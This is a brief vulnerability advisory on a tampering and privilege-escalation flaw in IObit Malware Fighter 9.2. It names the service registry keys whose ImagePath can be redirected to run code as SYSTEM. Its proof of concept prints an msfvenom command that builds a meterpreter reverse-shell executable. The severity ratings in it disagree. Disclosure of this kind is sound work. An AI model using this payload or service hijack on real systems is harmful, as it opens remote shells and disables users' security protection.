IObit Malware Fighter 9.2 Tampering / Privilege Escalation

2022.08.03
Credit: Yehia Elghaly
Risk: Medium
Local: Yes
Remote: No
CVE: N/A
CWE: CWE-264

[+] Credits: Yehia Elghaly (aka Mrvar0x) [+] Website: https://mrvar0x.com/ [+] Source: "https://mrvar0x.com/2022/08/02/multiple-endpoints-security-tampering-exploit/" Vendor: ============= www.iobit.com Product: =========== IObit Malware Fighter 9.2 IObit Malware Fighter is an advanced malware & spyware removal utility that detects, removes the deepest infections, and protects the PC from various of potential malware, ransomware, cryptojacking, spyware, adware, trojans, keyloggers, bots, worms, and hijackers, etc. It includes the unique "Dual-Core" engine, driver-level technology and the heuristic malware detection. Safebox can protect users from ransomware and allow users to lock their personal data with a password. Vulnerability Type: =================== Missing Tamper Protection Incorrect Authorization CVE Reference: ============== N/A Security Issue: ================ IObit Malware Fighter prior to version 9.2 installed on Microsoft Windows does not provide sufficient anti-tampering protection of services by users with Administrator privileges. This could result in a user disabling IObit Malware Fighter and the protection offered by it. Also It lead to Raised privilege to SYSTEM. That can occurred by modifying a specific registry key. Computer\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\AdvancedSystemCareService15 Computer\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\IMFservice Change ImagePath path to a malicious executable. Exploit/POC: ============= Create malicious executable through msfvenom msfvenom -p windows/meterpreter/reverse_tcp LHOST=$LOCALIP LPORT=4444 -f exe -o meta.exe Modify (ImagePath) with the path of the malicious executable - Restart Network Access: =============== Local Severity: ========= High [+] Disclaimer The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. All content (c). Mrvar0x


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